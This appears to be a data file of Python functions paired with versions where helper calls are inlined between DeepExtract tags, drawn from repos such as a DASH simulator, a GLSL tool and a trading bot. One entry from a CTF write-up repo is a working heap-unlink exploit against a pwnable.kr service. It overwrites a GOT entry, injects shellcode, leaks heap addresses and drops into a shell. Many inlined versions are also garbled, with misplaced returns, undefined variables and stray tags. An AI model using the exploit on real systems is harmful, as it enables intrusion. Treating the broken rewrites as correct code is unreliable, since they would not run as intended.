as_data['presentationDurationInS'] = self.mpdProcessor.media_presentation_duration_in_s
self.as_data[content_type] = as_data
for rep in adaptation_set.representations:
rep_data = {'representation': rep, 'id': rep.rep_id}
as_data['reps'].append(rep_data)
initPath = rep.initialization_path
rep_data['relInitPath'] = initPath
rep_data['absInitPath'] = os.path.join(self.base_path, initPath)
init_filter = initsegmentfilter.InitFilter(rep_data['absInitPath'])
init_filter.filter()
rep_data['trackID'] = init_filter.track_id
print('%s trackID = %d' % (content_type, rep_data['trackID']))
rep_data['relMediaPath'] = rep.get_media_path()
rep_data['absMediaPath'] = os.path.join(self.base_path, rep.get_media_path())
rep_data['default_sample_duration'] = init_filter.default_sample_duration
self.getSegmentRange(rep_data)
track_timescale = init_filter.track_timescale
if 'track_timescale' not in as_data:
as_data['track_timescale'] = track_timescale
elif track_timescale != as_data['track_timescale']:
raise DashAnalyzerError('Timescales not consistent between %s tracks' % content_type)
if self.verbose:
print('%s data: ' % content_type)
for (k, v) in rep_data.items():
print(' %s=%s' % (k, v))
lastGoodSegments = []
print('Checking all the media segment durations for deviations.')
def writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, duration, repeatCount):
data = pack(configprocessor.SEGTIMEFORMAT, firstSegmentInRepeat, repeatCount, firstStartTimeInRepeat, duration)
ofh.write(data)
for content_type in self.as_data.keys():
as_data = self.as_data[content_type]
as_data['datFile'] = '%s_%s.dat' % (self.base_name, content_type)
adaptation_set = as_data['as']
print('Checking %s with timescale %d' % (content_type, as_data['track_timescale']))
if self.segDuration is None:
self.segDuration = adaptation_set.duration
else:
assert self.segDuration == adaptation_set.duration
track_timescale = as_data['track_timescale']
with open(as_data['datFile'], 'wb') as ofh:
for (rep_nr, rep_data) in enumerate(as_data['reps']):
rep_id = rep_data['id']
rep_data['endNr'] = None
rep_data['startTick'] = None
rep_data['endTick'] = None
if self.firstSegmentInLoop >= 0:
assert rep_data['firstNumber'] == self.firstSegmentInLoop
else:
self.firstSegmentInLoop = rep_data['firstNumber']
if self.mpdSegStartNr >= 0:
assert adaptation_set.start_number == self.mpdSegStartNr
else:
self.mpdSegStartNr = adaptation_set.start_number
segTicks = self.segDuration * track_timescale
maxDiffInTicks = int(track_timescale * 0.1)
segNr = rep_data['firstNumber']
repeatCount = -1
firstSegmentInRepeat = -1
firstStartTimeInRepeat = -1
lastDuration = 0
while True:
segmentPath = rep_data['absMediaPath'] % segNr
if not os.path.exists(segmentPath):
if self.verbose:
print('\nLast good %s segment is %d, endTime=%.3fs, totalTime=%.3fs' % (rep_id, rep_data['endNr'], rep_data['endTime'], rep_data['endTime'] - rep_data['startTime']))
break
msf = mediasegmentfilter.MediaSegmentFilter(segmentPath, default_sample_duration=rep_data['default_sample_duration'])
msf.filter()
tfdt = msf.get_tfdt_value()
duration = msf.get_duration()
print('{0} {1:8d} {2} {3}'.format(content_type, segNr, tfdt, duration))
if duration == lastDuration:
repeatCount += 1
else:
if lastDuration != 0 and rep_nr == 0:
writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, lastDuration, repeatCount)
repeatCount = 0
lastDuration = duration
firstSegmentInRepeat = segNr
firstStartTimeInRepeat = tfdt
if rep_data['startTick'] is None:
rep_data['startTick'] = tfdt
rep_data['startTime'] = rep_data['startTick'] / float(track_timescale)
print('First %s segment is %d starting at time %.3fs' % (rep_id, segNr, rep_data['startTime']))
endTick = tfdt + duration
idealTicks = (segNr - rep_data['firstNumber'] + 1) * segTicks + rep_data['startTick']
absDiffInTicks = abs(idealTicks - endTick)
if absDiffInTicks < maxDiffInTicks:
rep_data['endTick'] = tfdt + duration
rep_data['endTime'] = rep_data['endTick'] / float(track_timescale)
rep_data['endNr'] = segNr
else:
raise DashAnalyzerError('Too much drift in the duration of the segments')
segNr += 1
if self.verbose:
sys.stdout.write('.')
if rep_nr == 0:
writeSegTiming(ofh, firstSegmentInRepeat, firstStartTimeInRepeat, duration, repeatCount)
lastGoodSegments.append(rep_data['endNr'])
as_data['totalTicks'] = rep_data['endTick'] - rep_data['startTick']
self.lastSegmentInLoop = min(lastGoodSegments)
self.nrSegmentsInLoop = self.lastSegmentInLoop - self.firstSegmentInLoop + 1
self.loopTime = self.nrSegmentsInLoop * self.segDuration
if self.verbose:
print('')
print('Will loop segments %d-%d with loop time %ds' % (self.firstSegmentInLoop, self.lastSegmentInLoop, self.loopTime))
cfg_data = {'version': '1.1', 'first_segment_in_loop': self.firstSegmentInLoop, 'nr_segments_in_loop': self.nrSegmentsInLoop, 'segment_duration_s': self.segDuration}
media_data = {}
for content_type in ('video', 'audio'):
if content_type in self.as_data:
mdata = self.as_data[content_type]
media_data[content_type] = {'representations': [rep['id'] for rep in mdata['reps']], 'timescale': mdata['track_timescale'], 'totalDuration': mdata['totalTicks'], 'datFile': mdata['datFile']}
cfg_data['media_data'] = media_data
vod_cfg = configprocessor.VodConfig()
vod_cfg.write_config(self.config_filename, cfg_data)
</DeepExtract>
|
dash-live-source-simulator
|
positive
|
def inline(self, block, names):
"""Perform inlining of block into where it is used."""
ret = 0
<DeepExtract>
while True:
parent = block.getParent()
if not parent:
parent = block
if is_glsl_block_scope(parent):
grand = parent.getParent()
if is_glsl_block_control(grand) or is_glsl_block_function(grand):
parent = grand
parent = parent
if is_glsl_block_control(parent) or is_glsl_block_function(parent):
parent = parent
block = parent
</DeepExtract>
if is_glsl_block_source(parent):
for ii in self.__sources:
if ii != parent and (not parent.getType() or not ii.getType()):
ret += inline_instances(ii, block, names)
ret += inline_instances(parent, block, names)
block.removeFromParent()
return ret
|
def inline(self, block, names):
"""Perform inlining of block into where it is used."""
ret = 0
while True:
parent = block.getParent()
if not parent:
parent = block
if is_glsl_block_scope(parent):
grand = parent.getParent()
if is_glsl_block_control(grand) or is_glsl_block_function(grand):
parent = grand
parent = parent
if is_glsl_block_control(parent) or is_glsl_block_function(parent):
parent = parent
block = parent
if is_glsl_block_source(parent):
for ii in self.__sources:
if ii != parent and (not parent.getType() or not ii.getType()):
ret += inline_instances(ii, block, names)
ret += inline_instances(parent, block, names)
block.removeFromParent()
return ret
|
dnload
|
positive
|
def overlap_assignment(v, w, match_bonus=+1, mismatch_cost=2, indel_cost=2):
def dynamic_programming(v, w):
distances = np.zeros((len(v) + 1, len(w) + 1))
path = {}
for i in range(1, len(v) + 1):
for j in range(1, len(w) + 1):
moves = [(i - 1, j), (i, j - 1), (i - 1, j - 1)]
scores = [distances[i - 1][j] - indel_cost, distances[i][j - 1] - indel_cost, distances[i - 1][j - 1] + (match_bonus if v[i - 1] == w[j - 1] else -mismatch_cost)]
index = np.argmax(scores)
distances[i][j] = scores[index]
path[i, j] = moves[index]
i = len(v)
j = np.argmax(distances[i])
distance = distances[i][j]
v1 = []
w1 = []
while i > 0 and j > 0:
(i1, j1) = path[i, j]
v1.append(v[i1] if i1 < i else '-')
w1.append(w[j1] if j1 < j else '-')
(i, j) = (i1, j1)
return (distance, v1[::-1], w1[::-1])
<DeepExtract>
distances = np.zeros((len([vv for vv in v]) + 1, len([ww for ww in w]) + 1))
path = {}
for i in range(1, len([vv for vv in v]) + 1):
for j in range(1, len([ww for ww in w]) + 1):
moves = [(i - 1, j), (i, j - 1), (i - 1, j - 1)]
scores = [distances[i - 1][j] - indel_cost, distances[i][j - 1] - indel_cost, distances[i - 1][j - 1] + (match_bonus if [vv for vv in v][i - 1] == [ww for ww in w][j - 1] else -mismatch_cost)]
index = np.argmax(scores)
distances[i][j] = scores[index]
path[i, j] = moves[index]
i = len([vv for vv in v])
j = np.argmax(distances[i])
distance = distances[i][j]
v1 = []
w1 = []
while i > 0 and j > 0:
(i1, j1) = path[i, j]
v1.append([vv for vv in v][i1] if i1 < i else '-')
w1.append([ww for ww in w][j1] if j1 < j else '-')
(i, j) = (i1, j1)
(score, u1, v1) = (distance, v1[::-1], w1[::-1])
</DeepExtract>
return (score, ''.join(u1), ''.join(v1))
|
def overlap_assignment(v, w, match_bonus=+1, mismatch_cost=2, indel_cost=2):
def dynamic_programming(v, w):
distances = np.zeros((len(v) + 1, len(w) + 1))
path = {}
for i in range(1, len(v) + 1):
for j in range(1, len(w) + 1):
moves = [(i - 1, j), (i, j - 1), (i - 1, j - 1)]
scores = [distances[i - 1][j] - indel_cost, distances[i][j - 1] - indel_cost, distances[i - 1][j - 1] + (match_bonus if v[i - 1] == w[j - 1] else -mismatch_cost)]
index = np.argmax(scores)
distances[i][j] = scores[index]
path[i, j] = moves[index]
i = len(v)
j = np.argmax(distances[i])
distance = distances[i][j]
v1 = []
w1 = []
while i > 0 and j > 0:
(i1, j1) = path[i, j]
v1.append(v[i1] if i1 < i else '-')
w1.append(w[j1] if j1 < j else '-')
(i, j) = (i1, j1)
return (distance, v1[::-1], w1[::-1])
distances = np.zeros((len([vv for vv in v]) + 1, len([ww for ww in w]) + 1))
path = {}
for i in range(1, len([vv for vv in v]) + 1):
for j in range(1, len([ww for ww in w]) + 1):
moves = [(i - 1, j), (i, j - 1), (i - 1, j - 1)]
scores = [distances[i - 1][j] - indel_cost, distances[i][j - 1] - indel_cost, distances[i - 1][j - 1] + (match_bonus if [vv for vv in v][i - 1] == [ww for ww in w][j - 1] else -mismatch_cost)]
index = np.argmax(scores)
distances[i][j] = scores[index]
path[i, j] = moves[index]
i = len([vv for vv in v])
j = np.argmax(distances[i])
distance = distances[i][j]
v1 = []
w1 = []
while i > 0 and j > 0:
(i1, j1) = path[i, j]
v1.append([vv for vv in v][i1] if i1 < i else '-')
w1.append([ww for ww in w][j1] if j1 < j else '-')
(i, j) = (i1, j1)
(score, u1, v1) = (distance, v1[::-1], w1[::-1])
return (score, ''.join(u1), ''.join(v1))
|
bioinformatics
|
positive
|
def exploit():
free_got = 134521196
'\n\tptr->next->prev = ptr->prev;\n ptr->prev->next = ptr->next;\n\t'
shellcode_addr = 675615312
fake_struct = p32(shellcode_addr) + p32(free_got - 128)
fake_struct += shellcode
fake_struct = fake_struct.ljust(120, '\x90')
<DeepExtract>
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format(fake_struct)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
</DeepExtract>
<DeepExtract>
p = remote('pwnable.kr', 9903)
cmd = 'admincmd_proxy_dump_log'
p.send(cmd)
if interact:
p.interactive()
else:
p.recvuntil('Dumping Logs......')
p.recvuntil(fake_struct)
data = p.recv(8)
heap1 = u32(data[:4])
heap2 = u32(data[4:8])
(H1, H2) = (heap1, heap2)
p.close()
</DeepExtract>
assert H1 + 16 == shellcode_addr
fake_struct_addr = H1 + 8
shellcode_addr = fake_struct_addr + 8
log.info('fake_struct is located at 0x%x' % fake_struct_addr)
log.info('shellcode is located at 0x%x' % shellcode_addr)
for i in range(30):
<DeepExtract>
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('A' * 120)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
</DeepExtract>
<DeepExtract>
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('B' * 120 + p32(3735928559) + p32(fake_struct_addr - 128))
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
</DeepExtract>
<DeepExtract>
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('A' * 10)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if True:
p.interactive()
else:
p.close()
</DeepExtract>
|
def exploit():
free_got = 134521196
'\n\tptr->next->prev = ptr->prev;\n ptr->prev->next = ptr->next;\n\t'
shellcode_addr = 675615312
fake_struct = p32(shellcode_addr) + p32(free_got - 128)
fake_struct += shellcode
fake_struct = fake_struct.ljust(120, '\x90')
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format(fake_struct)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
p = remote('pwnable.kr', 9903)
cmd = 'admincmd_proxy_dump_log'
p.send(cmd)
if interact:
p.interactive()
else:
p.recvuntil('Dumping Logs......')
p.recvuntil(fake_struct)
data = p.recv(8)
heap1 = u32(data[:4])
heap2 = u32(data[4:8])
(H1, H2) = (heap1, heap2)
p.close()
assert H1 + 16 == shellcode_addr
fake_struct_addr = H1 + 8
shellcode_addr = fake_struct_addr + 8
log.info('fake_struct is located at 0x%x' % fake_struct_addr)
log.info('shellcode is located at 0x%x' % shellcode_addr)
for i in range(30):
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('A' * 120)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('B' * 120 + p32(3735928559) + p32(fake_struct_addr - 128))
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if interact:
p.interactive()
else:
p.close()
p = remote('pwnable.kr', 9903)
URI = 'http://{}:80'.format('A' * 10)
packet = 'GET {}\r\n\r\n'.format(URI)
p.send(packet)
sleep(0.1)
if True:
p.interactive()
else:
p.close()
</DeepExtract>
|
CTF-writeups
|
positive
|
def test_marginals():
<DeepExtract>
m = round(x1.marginal(True, normalizer), 3)
</DeepExtract>
assert m == 0.1
<DeepExtract>
m = round(x1.marginal(False, normalizer), 3)
</DeepExtract>
assert m == 0.9
<DeepExtract>
m = round(x2.marginal(True, normalizer), 3)
</DeepExtract>
assert m == 0.3
<DeepExtract>
m = round(x2.marginal(False, normalizer), 3)
</DeepExtract>
assert m == 0.7
<DeepExtract>
m = round(x3.marginal(True, normalizer), 3)
</DeepExtract>
assert m == 0.012
<DeepExtract>
m = round(x3.marginal(False, normalizer), 3)
</DeepExtract>
assert m == 0.988
<DeepExtract>
m = round(x4.marginal(True, normalizer), 3)
</DeepExtract>
assert m == 0.208
<DeepExtract>
m = round(x4.marginal(False, normalizer), 3)
</DeepExtract>
assert m == 0.792
<DeepExtract>
m = round(x5.marginal(True, normalizer), 3)
</DeepExtract>
assert m == 0.304
<DeepExtract>
m = round(x5.marginal(False, normalizer), 3)
</DeepExtract>
assert m == 0.696
|
def test_marginals():
m = round(x1.marginal(True, normalizer), 3)
assert m == 0.1
m = round(x1.marginal(False, normalizer), 3)
assert m == 0.9
m = round(x2.marginal(True, normalizer), 3)
assert m == 0.3
m = round(x2.marginal(False, normalizer), 3)
assert m == 0.7
m = round(x3.marginal(True, normalizer), 3)
assert m == 0.012
m = round(x3.marginal(False, normalizer), 3)
assert m == 0.988
m = round(x4.marginal(True, normalizer), 3)
assert m == 0.208
m = round(x4.marginal(False, normalizer), 3)
assert m == 0.792
m = round(x5.marginal(True, normalizer), 3)
assert m == 0.304
m = round(x5.marginal(False, normalizer), 3)
assert m == 0.696
|
bayesian-belief-networks
|
positive
|
def handle_select(self, value):
"""
select indexed value from list and update property
"""
(index, list_value) = value['Fn::Select']
index = int(index)
<DeepExtract>
def all_keys(dict_obj):
""" This function generates all keys of
a nested dictionary.
"""
for (key, list_value) in dict_obj.items():
yield key
if isinstance(list_value, dict):
for k in all_keys(list_value):
yield k
updated_value = list_value
if isinstance(list_value, dict):
process_function_value = False
for key in list_value.keys():
if key in ['Ref', 'Fn::If', 'Fn::Equals', 'Fn:And', 'Fn::Not', 'Fn::Or', 'Fn::Split', 'Fn::Select', 'Fn::GetAtt', 'Fn::Sub']:
process_function_value = True
if process_function_value:
updated_value = self.process_function(list_value)
else:
updated_value = self.process_resource(list_value)
elif isinstance(list_value, list):
updated_value = self.process_resource(list_value)
else:
updated_value = list_value
list_value = updated_value
</DeepExtract>
if isinstance(list_value, list) and len(list_value) - 1 >= index:
return list_value[index]
else:
return value
|
def handle_select(self, value):
"""
select indexed value from list and update property
"""
(index, list_value) = value['Fn::Select']
index = int(index)
def all_keys(dict_obj):
""" This function generates all keys of
a nested dictionary.
"""
for (key, list_value) in dict_obj.items():
yield key
if isinstance(list_value, dict):
for k in all_keys(list_value):
yield k
updated_value = list_value
if isinstance(list_value, dict):
process_function_value = False
for key in list_value.keys():
if key in ['Ref', 'Fn::If', 'Fn::Equals', 'Fn:And', 'Fn::Not', 'Fn::Or', 'Fn::Split', 'Fn::Select', 'Fn::GetAtt', 'Fn::Sub']:
process_function_value = True
if process_function_value:
updated_value = self.process_function(list_value)
else:
updated_value = self.process_resource(list_value)
elif isinstance(list_value, list):
updated_value = self.process_resource(list_value)
else:
updated_value = list_value
list_value = updated_value
if isinstance(list_value, list) and len(list_value) - 1 >= index:
return list_value[index]
else:
return value
|
cloud-validation-framework
|
positive
|
def rebalance(self, obs):
"""
Performs portfolio rebalance within environment
:param obs: pandas DataFrame: Environment observation
:return: numpy array: Portfolio vector
"""
if not self.init:
n_pairs = obs.columns.levels[0].shape[0]
action = np.ones(n_pairs)
action[-1] = 0
self.crp = array_normalize(action)
self.init = True
if self.step:
b = self.get_portfolio_vector(obs)
<DeepExtract>
raise NotImplementedError()
</DeepExtract>
<DeepExtract>
prices = obs.xs('open', level=1, axis=1).astype(np.float64).iloc[-self.window - 1:]
price_relative = np.hstack([np.mat(prices.rolling(2).apply(lambda x: safe_div(x[-2], x[-1]) - 1).dropna().values), np.zeros((self.window, 1))])
radius = np.linalg.norm(price_relative, ord=1, axis=1)
angle = np.divide(price_relative, np.mat(radius).T)
index = np.argpartition(radius, -(int(self.window * self.k) + 1))[-(int(self.window * self.k) + 1):]
index = index[np.argsort(radius[index])]
(R, Z) = (radius[index][::-1], angle[index][::-1])
</DeepExtract>
<DeepExtract>
alpha = safe_div(R.shape[0] - 1, np.log(safe_div(R[:-1], R[-1])).sum())
</DeepExtract>
<DeepExtract>
grad = np.clip(np.mat(safe_div(x, np.dot(b, x))).T, -self.clip, self.clip)
self.A += grad * grad.T
self.b += (1 + safe_div(1.0, self.beta)) * grad
pp = self.projection_in_norm(self.delta * self.A.I * self.b, self.A)
self.last_port = pp * (1 - self.eta) + np.ones(len(x)) / float(len(x)) * self.eta
</DeepExtract>
return self.last_port
else:
return self.crp
|
def rebalance(self, obs):
"""
Performs portfolio rebalance within environment
:param obs: pandas DataFrame: Environment observation
:return: numpy array: Portfolio vector
"""
if not self.init:
n_pairs = obs.columns.levels[0].shape[0]
action = np.ones(n_pairs)
action[-1] = 0
self.crp = array_normalize(action)
self.init = True
if self.step:
b = self.get_portfolio_vector(obs)
raise NotImplementedError()
prices = obs.xs('open', level=1, axis=1).astype(np.float64).iloc[-self.window - 1:]
price_relative = np.hstack([np.mat(prices.rolling(2).apply(lambda x: safe_div(x[-2], x[-1]) - 1).dropna().values), np.zeros((self.window, 1))])
radius = np.linalg.norm(price_relative, ord=1, axis=1)
angle = np.divide(price_relative, np.mat(radius).T)
index = np.argpartition(radius, -(int(self.window * self.k) + 1))[-(int(self.window * self.k) + 1):]
index = index[np.argsort(radius[index])]
(R, Z) = (radius[index][::-1], angle[index][::-1])
alpha = safe_div(R.shape[0] - 1, np.log(safe_div(R[:-1], R[-1])).sum())
grad = np.clip(np.mat(safe_div(x, np.dot(b, x))).T, -self.clip, self.clip)
self.A += grad * grad.T
self.b += (1 + safe_div(1.0, self.beta)) * grad
pp = self.projection_in_norm(self.delta * self.A.I * self.b, self.A)
self.last_port = pp * (1 - self.eta) + np.ones(len(x)) / float(len(x)) * self.eta
return self.last_port
else:
return self.crp
|
cryptotrader
|
positive
|
def nvmlDeviceGetTemperature(handle, sensor):
c_temp = c_uint()
<DeepExtract>
global nvmlLib
if 'nvmlDeviceGetTemperature' in _nvmlGetFunctionPointer_cache:
fn = _nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature']
libLoadLock.acquire()
try:
if nvmlLib == None:
raise NVMLError(NVML_ERROR_UNINITIALIZED)
try:
_nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature'] = getattr(nvmlLib, 'nvmlDeviceGetTemperature')
fn = _nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature']
except AttributeError:
raise NVMLError(NVML_ERROR_FUNCTION_NOT_FOUND)
finally:
libLoadLock.release()
</DeepExtract>
ret = fn(handle, _nvmlTemperatureSensors_t(sensor), byref(c_temp))
<DeepExtract>
if ret != NVML_SUCCESS:
raise NVMLError(ret)
return ret
</DeepExtract>
return c_temp.value
|
def nvmlDeviceGetTemperature(handle, sensor):
c_temp = c_uint()
global nvmlLib
if 'nvmlDeviceGetTemperature' in _nvmlGetFunctionPointer_cache:
fn = _nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature']
libLoadLock.acquire()
try:
if nvmlLib == None:
raise NVMLError(NVML_ERROR_UNINITIALIZED)
try:
_nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature'] = getattr(nvmlLib, 'nvmlDeviceGetTemperature')
fn = _nvmlGetFunctionPointer_cache['nvmlDeviceGetTemperature']
except AttributeError:
raise NVMLError(NVML_ERROR_FUNCTION_NOT_FOUND)
finally:
libLoadLock.release()
ret = fn(handle, _nvmlTemperatureSensors_t(sensor), byref(c_temp))
if ret != NVML_SUCCESS:
raise NVMLError(ret)
return ret
return c_temp.value
|
DeepFaceLab_Linux
|
positive
|
def rotate_norms_confirm(modal, context, event, keys, func_data):
add_to_undostack(modal, 1)
modal.translate_axis = 2
modal.translate_mode = 0
clear_translate_axis_draw(modal)
modal._window.clear_status()
modal.rotating = False
<DeepExtract>
modal._mouse_init = None
modal._mode_cache.clear()
keymap_refresh(modal)
modal._current_tool = modal._basic_tool
return
</DeepExtract>
gizmo_update_hide(modal, True)
end_selection_drawing(modal)
end_active_drawing(modal)
return
|
def rotate_norms_confirm(modal, context, event, keys, func_data):
add_to_undostack(modal, 1)
modal.translate_axis = 2
modal.translate_mode = 0
clear_translate_axis_draw(modal)
modal._window.clear_status()
modal.rotating = False
modal._mouse_init = None
modal._mode_cache.clear()
keymap_refresh(modal)
modal._current_tool = modal._basic_tool
return
gizmo_update_hide(modal, True)
end_selection_drawing(modal)
end_active_drawing(modal)
return
|
Abnormal
|
positive
|
def get_by_idxs(self, idxs):
"""
Efficient way to obtain a batch of items from filesystem
:param idxs:
:return dict: {'X': [,], 'Y', }
"""
data = defaultdict(list)
for idx in idxs:
<DeepExtract>
raise NotImplementedError()
</DeepExtract>
for (key, val) in each_data.items():
data[key].append(val)
return data
|
def get_by_idxs(self, idxs):
"""
Efficient way to obtain a batch of items from filesystem
:param idxs:
:return dict: {'X': [,], 'Y', }
"""
data = defaultdict(list)
for idx in idxs:
raise NotImplementedError()
for (key, val) in each_data.items():
data[key].append(val)
return data
|
adversarial-squad
|
positive
|
def __createFolder(parentItem):
folder = model.Folder('New Folder')
newItem = FolderWidgetItem(parentItem, folder)
self.topLevelWidget().app.monitor.suspend()
if parentItem is not None:
<DeepExtract>
variant = parentItem.data(3, Qt.UserRole)
parentFolder = variant.toPyObject()
</DeepExtract>
parentFolder.add_folder(folder)
else:
self.treeWidget.addTopLevelItem(newItem)
self.configManager.folders.append(folder)
folder.persist()
self.topLevelWidget().app.monitor.unsuspend()
self.treeWidget.sortItems(0, Qt.AscendingOrder)
self.treeWidget.setCurrentItem(newItem)
<DeepExtract>
modelItems = self.__getSelection()
if len(modelItems) == 1:
modelItem = modelItems[0]
if isinstance(modelItem, model.Folder):
self.stack.setCurrentIndex(0)
self.folderPage.load(modelItem)
elif isinstance(modelItem, model.Phrase):
self.stack.setCurrentIndex(1)
self.phrasePage.load(modelItem)
elif isinstance(modelItem, model.Script):
self.stack.setCurrentIndex(2)
self.scriptPage.load(modelItem)
self.topLevelWidget().update_actions(modelItems, True)
self.set_dirty(False)
self.parentWidget().cancel_record()
else:
self.topLevelWidget().update_actions(modelItems, False)
</DeepExtract>
<DeepExtract>
widgetItem = self.treeWidget.selectedItems()[0]
self.treeWidget.editItem(widgetItem, 0)
</DeepExtract>
|
def __createFolder(parentItem):
folder = model.Folder('New Folder')
newItem = FolderWidgetItem(parentItem, folder)
self.topLevelWidget().app.monitor.suspend()
if parentItem is not None:
variant = parentItem.data(3, Qt.UserRole)
parentFolder = variant.toPyObject()
parentFolder.add_folder(folder)
else:
self.treeWidget.addTopLevelItem(newItem)
self.configManager.folders.append(folder)
folder.persist()
self.topLevelWidget().app.monitor.unsuspend()
self.treeWidget.sortItems(0, Qt.AscendingOrder)
self.treeWidget.setCurrentItem(newItem)
modelItems = self.__getSelection()
if len(modelItems) == 1:
modelItem = modelItems[0]
if isinstance(modelItem, model.Folder):
self.stack.setCurrentIndex(0)
self.folderPage.load(modelItem)
elif isinstance(modelItem, model.Phrase):
self.stack.setCurrentIndex(1)
self.phrasePage.load(modelItem)
elif isinstance(modelItem, model.Script):
self.stack.setCurrentIndex(2)
self.scriptPage.load(modelItem)
self.topLevelWidget().update_actions(modelItems, True)
self.set_dirty(False)
self.parentWidget().cancel_record()
else:
self.topLevelWidget().update_actions(modelItems, False)
widgetItem = self.treeWidget.selectedItems()[0]
self.treeWidget.editItem(widgetItem, 0)
</DeepExtract>
|
autokey-python2
|
positive
|
def model_name(clazz: Union[type, Tuple[Any]]) -> str:
to_check = get_args(clazz)[0] if is_optional(clazz) else clazz
if is_collection(to_check):
return f'{model_name(type_arg(to_check))}[]'
elif is_dict(to_check):
<DeepExtract>
maybe_optional = get_args(to_check)[0] if is_optional(to_check) else to_check
args = get_args(maybe_optional)
(key_type, value_type) = (args[0], args[1]) if args and len(args) == 2 else (object, object)
</DeepExtract>
return f'dictionary[{model_name(key_type)}, {model_name(value_type)}]'
elif is_enum(to_check):
return re.sub('(?<!^)(?=[A-Z])', '_', to_check.__name__).lower()
elif get_origin(to_check) == Union:
return 'any'
elif isinstance(to_check, TypeVar):
return model_name(get_args(to_check))
elif isinstance(to_check, type) and issubclass(to_check, simple_type):
return lookup[to_check]
elif attrs.has(to_check):
name = getattr(to_check, 'kind', None)
if not name:
raise AttributeError(f'dataclass {to_check} need to define a ClassVar kind!')
return name
else:
return 'any'
|
def model_name(clazz: Union[type, Tuple[Any]]) -> str:
to_check = get_args(clazz)[0] if is_optional(clazz) else clazz
if is_collection(to_check):
return f'{model_name(type_arg(to_check))}[]'
elif is_dict(to_check):
maybe_optional = get_args(to_check)[0] if is_optional(to_check) else to_check
args = get_args(maybe_optional)
(key_type, value_type) = (args[0], args[1]) if args and len(args) == 2 else (object, object)
return f'dictionary[{model_name(key_type)}, {model_name(value_type)}]'
elif is_enum(to_check):
return re.sub('(?<!^)(?=[A-Z])', '_', to_check.__name__).lower()
elif get_origin(to_check) == Union:
return 'any'
elif isinstance(to_check, TypeVar):
return model_name(get_args(to_check))
elif isinstance(to_check, type) and issubclass(to_check, simple_type):
return lookup[to_check]
elif attrs.has(to_check):
name = getattr(to_check, 'kind', None)
if not name:
raise AttributeError(f'dataclass {to_check} need to define a ClassVar kind!')
return name
else:
return 'any'
|
cloudkeeper
|
positive
|
def __factory(container_type, model, sched_dict, **extra_args):
container = {}
if container_type in sched_dict:
for (name, user_args) in sched_dict[container_type].items():
try:
<DeepExtract>
class_name = user_args.pop('class')
try:
class_ = globals()[class_name]
except KeyError as ex:
raise ValueError("Class named '{0}' does not exist".format(class_name)) from ex
(valid_args, invalid_args) = filter_kwargs(user_args, class_.__init__)
if invalid_args:
raise ValueError('{0} does not accept the following arguments: {1}'.format(class_name, list(invalid_args.keys())))
valid_args.update(extra_args)
valid_args['model'] = model
valid_args['name'] = name
(final_valid_args, _) = filter_kwargs(valid_args, class_.__init__)
instance = class_(**final_valid_args)
instance = instance
</DeepExtract>
container[name] = instance
except Exception as exception:
print('\nFatal error while parsing [section: %s] [item: %s]' % (container_type, name))
print('Exception: %s %s' % (type(exception), exception))
raise
return container
|
def __factory(container_type, model, sched_dict, **extra_args):
container = {}
if container_type in sched_dict:
for (name, user_args) in sched_dict[container_type].items():
try:
class_name = user_args.pop('class')
try:
class_ = globals()[class_name]
except KeyError as ex:
raise ValueError("Class named '{0}' does not exist".format(class_name)) from ex
(valid_args, invalid_args) = filter_kwargs(user_args, class_.__init__)
if invalid_args:
raise ValueError('{0} does not accept the following arguments: {1}'.format(class_name, list(invalid_args.keys())))
valid_args.update(extra_args)
valid_args['model'] = model
valid_args['name'] = name
(final_valid_args, _) = filter_kwargs(valid_args, class_.__init__)
instance = class_(**final_valid_args)
instance = instance
container[name] = instance
except Exception as exception:
print('\nFatal error while parsing [section: %s] [item: %s]' % (container_type, name))
print('Exception: %s %s' % (type(exception), exception))
raise
return container
|
EagleEye
|
positive
|
def insert(self, bs: BitsType, pos: Optional[int]=None) -> None:
"""Insert bs at bit position pos.
bs -- The bitstring to insert.
pos -- The bit position to insert at.
Raises ValueError if pos < 0 or pos > len(self).
"""
bs = Bits(bs)
if not bs.len:
return
if bs is self:
<DeepExtract>
bs = ByteStore(self.rawarray[:], self.bitlength, self.offset)
</DeepExtract>
if pos is None:
pos = self._pos
if pos is None:
raise TypeError('insert needs a bit position specified when used on a BitArray.')
if pos < 0:
pos += self._getlength()
if not 0 <= pos <= self._getlength():
raise ValueError('Invalid insert position.')
self._insert(bs, pos)
|
def insert(self, bs: BitsType, pos: Optional[int]=None) -> None:
"""Insert bs at bit position pos.
bs -- The bitstring to insert.
pos -- The bit position to insert at.
Raises ValueError if pos < 0 or pos > len(self).
"""
bs = Bits(bs)
if not bs.len:
return
if bs is self:
bs = ByteStore(self.rawarray[:], self.bitlength, self.offset)
if pos is None:
pos = self._pos
if pos is None:
raise TypeError('insert needs a bit position specified when used on a BitArray.')
if pos < 0:
pos += self._getlength()
if not 0 <= pos <= self._getlength():
raise ValueError('Invalid insert position.')
self._insert(bs, pos)
|
bitstring
|
positive
|
def validate_login(self, field):
"""
log in
"""
<DeepExtract>
